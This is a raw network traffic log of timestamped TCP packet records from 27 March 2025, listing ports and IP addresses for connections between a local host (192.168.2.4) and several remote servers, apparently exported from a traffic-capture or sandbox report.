Mar 27, 2025 18:50:54.551548958 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.554435968 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.554474115 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.568294048 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.568309069 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.568474054 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.568510056 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.568625927 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.576683044 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.579256058 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.579272985 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.579493999 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.586265087 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.594619989 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.598660946 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.598695993 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.598973036 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.603099108 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.603338003 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.603353977 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.648077011 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.861164093 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.868097067 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.869193077 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.869266987 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.876656055 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.884988070 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.885010958 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.896862984 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.896912098 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.896950006 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.896996021 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.900527000 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.900567055 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.905488014 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.911674023 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.911696911 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.922466040 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.922483921 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.922502995 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.922553062 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.922574043 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.922660112 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.922660112 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.970743895 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.970767021 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.970907927 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.970907927 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:54.970942020 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:54.971314907 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.188050032 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.188071012 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.188154936 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.188224077 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.188299894 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.206074953 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.206101894 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.206151009 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.206167936 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.206197023 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.206244946 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.222887039 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.222909927 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.222975969 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.222996950 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.223056078 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.230325937 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.230427027 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.230441093 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.238786936 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.238873959 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.238888979 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.247353077 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.247426033 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.247441053 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.255691051 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.255765915 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.255779982 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.263108969 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.263166904 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.263185024 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.271744967 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.271806955 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.271826982 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.280193090 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.280282974 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.280297995 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.288644075 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.288721085 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.288737059 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.298161030 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.298239946 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.298259974 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.306691885 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.306765079 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.306781054 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.315051079 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.315124035 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.315139055 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.323512077 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.323580980 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.323595047 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.330960989 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.334408045 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.334424973 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.347826958 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.347841024 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.347899914 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.347918034 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.348457098 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.365914106 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.365940094 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.366750002 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.366765976 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.374408007 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.382791996 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.382810116 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.382970095 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.382985115 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.383168936 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.499526024 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.499572992 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.499751091 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.499784946 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.499905109 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.516557932 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.516580105 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.517564058 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.517575026 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.517673016 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.534395933 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.534461021 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.538794041 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.538805008 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.539144993 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.543096066 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.543214083 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.543224096 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.558990002 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.559010983 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.559070110 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.559082985 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.559113979 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.567470074 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.567531109 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.567543983 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.575972080 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.576466084 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.576478958 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.591644049 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.591660976 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.592281103 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.592293024 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.592343092 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.600128889 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.600752115 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.600763083 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.608371019 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.608939886 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.608968973 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.620368004 CET	49710	443	192.168.2.4	131.253.33.254
Mar 27, 2025 18:50:55.623704910 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.623719931 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.623953104 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.623985052 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.624001980 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.630810022 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.631472111 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.631483078 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.637412071 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.637487888 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.637497902 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.649636030 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.649650097 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.649736881 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.649750948 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.649764061 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.656112909 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.656177998 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.656187057 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.662200928 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.662266970 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.662276030 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.675081015 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.675096989 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.675164938 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.675177097 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.675268888 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.676417112 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.676476002 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.676482916 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.676502943 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.676573992 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.676723003 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.676740885 CET	443	49737	43.152.64.193	192.168.2.4
Mar 27, 2025 18:50:55.676753044 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.678080082 CET	49737	443	192.168.2.4	43.152.64.193
Mar 27, 2025 18:50:55.717623949 CET	443	49710	131.253.33.254	192.168.2.4
Mar 27, 2025 18:50:55.718590975 CET	443	49710	131.253.33.254	192.168.2.4
Mar 27, 2025 18:50:55.718707085 CET	49710	443	192.168.2.4	131.253.33.254
Mar 27, 2025 18:50:55.725667953 CET	49710	443	192.168.2.4	131.253.33.254
Mar 27, 2025 18:50:55.793581963 CET	49740	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:55.793637991 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:55.793823004 CET	49740	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:55.794043064 CET	49740	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:55.794059038 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:55.813294888 CET	49741	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:50:55.813333988 CET	443	49741	172.64.80.1	192.168.2.4
Mar 27, 2025 18:50:55.814609051 CET	49741	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:50:55.814872026 CET	49741	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:50:55.814881086 CET	443	49741	172.64.80.1	192.168.2.4
Mar 27, 2025 18:50:55.820164919 CET	443	49710	131.253.33.254	192.168.2.4
Mar 27, 2025 18:50:55.822751999 CET	443	49710	131.253.33.254	192.168.2.4
Mar 27, 2025 18:50:55.822933912 CET	49710	443	192.168.2.4	131.253.33.254
Mar 27, 2025 18:50:55.850121975 CET	49710	443	192.168.2.4	131.253.33.254
Mar 27, 2025 18:50:55.944458008 CET	443	49710	131.253.33.254	192.168.2.4
Mar 27, 2025 18:50:55.946791887 CET	443	49710	131.253.33.254	192.168.2.4
Mar 27, 2025 18:50:55.946990013 CET	49710	443	192.168.2.4	131.253.33.254
Mar 27, 2025 18:50:55.950071096 CET	49680	443	192.168.2.4	204.79.197.222
Mar 27, 2025 18:50:55.950479984 CET	49742	443	192.168.2.4	204.79.197.222
Mar 27, 2025 18:50:55.950539112 CET	443	49742	204.79.197.222	192.168.2.4
Mar 27, 2025 18:50:55.950606108 CET	49742	443	192.168.2.4	204.79.197.222
Mar 27, 2025 18:50:55.950840950 CET	49742	443	192.168.2.4	204.79.197.222
Mar 27, 2025 18:50:55.950861931 CET	443	49742	204.79.197.222	192.168.2.4
Mar 27, 2025 18:50:56.003268957 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.003477097 CET	49740	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.004659891 CET	49740	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.004667044 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.005065918 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.005331039 CET	49740	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.012286901 CET	443	49741	172.64.80.1	192.168.2.4
Mar 27, 2025 18:50:56.012356043 CET	49741	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:50:56.013283014 CET	49741	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:50:56.013288975 CET	443	49741	172.64.80.1	192.168.2.4
Mar 27, 2025 18:50:56.013509989 CET	443	49741	172.64.80.1	192.168.2.4
Mar 27, 2025 18:50:56.013768911 CET	49741	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:50:56.034358978 CET	49743	80	192.168.2.4	142.251.40.99
Mar 27, 2025 18:50:56.048271894 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.056273937 CET	443	49741	172.64.80.1	192.168.2.4
Mar 27, 2025 18:50:56.123514891 CET	80	49743	142.251.40.99	192.168.2.4
Mar 27, 2025 18:50:56.124578953 CET	49743	80	192.168.2.4	142.251.40.99
Mar 27, 2025 18:50:56.124578953 CET	49743	80	192.168.2.4	142.251.40.99
Mar 27, 2025 18:50:56.213704109 CET	80	49743	142.251.40.99	192.168.2.4
Mar 27, 2025 18:50:56.214792967 CET	80	49743	142.251.40.99	192.168.2.4
Mar 27, 2025 18:50:56.222639084 CET	49743	80	192.168.2.4	142.251.40.99
Mar 27, 2025 18:50:56.231746912 CET	443	49742	204.79.197.222	192.168.2.4
Mar 27, 2025 18:50:56.231822968 CET	49742	443	192.168.2.4	204.79.197.222
Mar 27, 2025 18:50:56.240245104 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.240329981 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.240411043 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.240525961 CET	49740	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.240535021 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.240688086 CET	49740	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.240693092 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.240731001 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.240801096 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.240822077 CET	49740	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.240827084 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.240880966 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.240931034 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.240972042 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.241039038 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.241105080 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.241843939 CET	49740	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.241852045 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.242002964 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.242997885 CET	49740	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.243362904 CET	49740	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.243376017 CET	443	49740	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.255424976 CET	49680	443	192.168.2.4	204.79.197.222
Mar 27, 2025 18:50:56.314621925 CET	80	49743	142.251.40.99	192.168.2.4
Mar 27, 2025 18:50:56.342336893 CET	49744	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.342427015 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.345248938 CET	49744	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.345361948 CET	49744	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.345391035 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.359688997 CET	49743	80	192.168.2.4	142.251.40.99
Mar 27, 2025 18:50:56.538889885 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.539513111 CET	49744	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.545022011 CET	49744	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.545078039 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.545437098 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.545921087 CET	49744	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.588315010 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.789566040 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.789624929 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.789683104 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.789725065 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.789766073 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.789813042 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.789855003 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.789902925 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.790059090 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.790110111 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.793494940 CET	49744	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.793575048 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.794033051 CET	49744	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.796818018 CET	49744	443	192.168.2.4	104.17.202.1
Mar 27, 2025 18:50:56.796850920 CET	443	49744	104.17.202.1	192.168.2.4
Mar 27, 2025 18:50:56.862637043 CET	49680	443	192.168.2.4	204.79.197.222
Mar 27, 2025 18:50:58.077373981 CET	49680	443	192.168.2.4	204.79.197.222
Mar 27, 2025 18:51:00.455604076 CET	49678	443	192.168.2.4	20.189.173.27
Mar 27, 2025 18:51:00.485989094 CET	49680	443	192.168.2.4	204.79.197.222
Mar 27, 2025 18:51:00.518739939 CET	443	49741	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:00.519030094 CET	443	49741	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:00.519107103 CET	49741	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:00.520023108 CET	49741	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:00.520051956 CET	443	49741	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:00.612204075 CET	49747	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:00.612255096 CET	443	49747	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:00.612328053 CET	49747	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:00.612528086 CET	49747	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:00.612550020 CET	443	49747	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:00.801489115 CET	443	49747	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:00.801597118 CET	49747	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:00.802054882 CET	49747	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:00.802068949 CET	443	49747	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:00.802288055 CET	443	49747	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:00.802551985 CET	49747	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:00.844299078 CET	443	49747	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:01.199151993 CET	443	49747	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:01.199218988 CET	443	49747	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:01.199595928 CET	49747	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:01.200079918 CET	49747	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:01.200094938 CET	443	49747	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:01.963118076 CET	443	49726	142.251.40.164	192.168.2.4
Mar 27, 2025 18:51:01.963202953 CET	443	49726	142.251.40.164	192.168.2.4
Mar 27, 2025 18:51:01.963491917 CET	49726	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:51:03.549592972 CET	49726	443	192.168.2.4	142.251.40.164
Mar 27, 2025 18:51:03.549616098 CET	443	49726	142.251.40.164	192.168.2.4
Mar 27, 2025 18:51:03.573379040 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:03.573431015 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:03.574273109 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:03.574479103 CET	49748	443	192.168.2.4	172.64.80.1
Mar 27, 2025 18:51:03.574496984 CET	443	49748	172.64.80.1	192.168.2.4
Mar 27, 2025 18:51:03.639756918 CET	49749	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:03.639847040 CET	443	49749	23.209.72.31	192.168.2.4
Mar 27, 2025 18:51:03.639949083 CET	49749	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:03.640120029 CET	49749	443	192.168.2.4	23.209.72.31
Mar 27, 2025 18:51:03.640156031 CET	443	49749	23.209.72.31	192.168.2.4
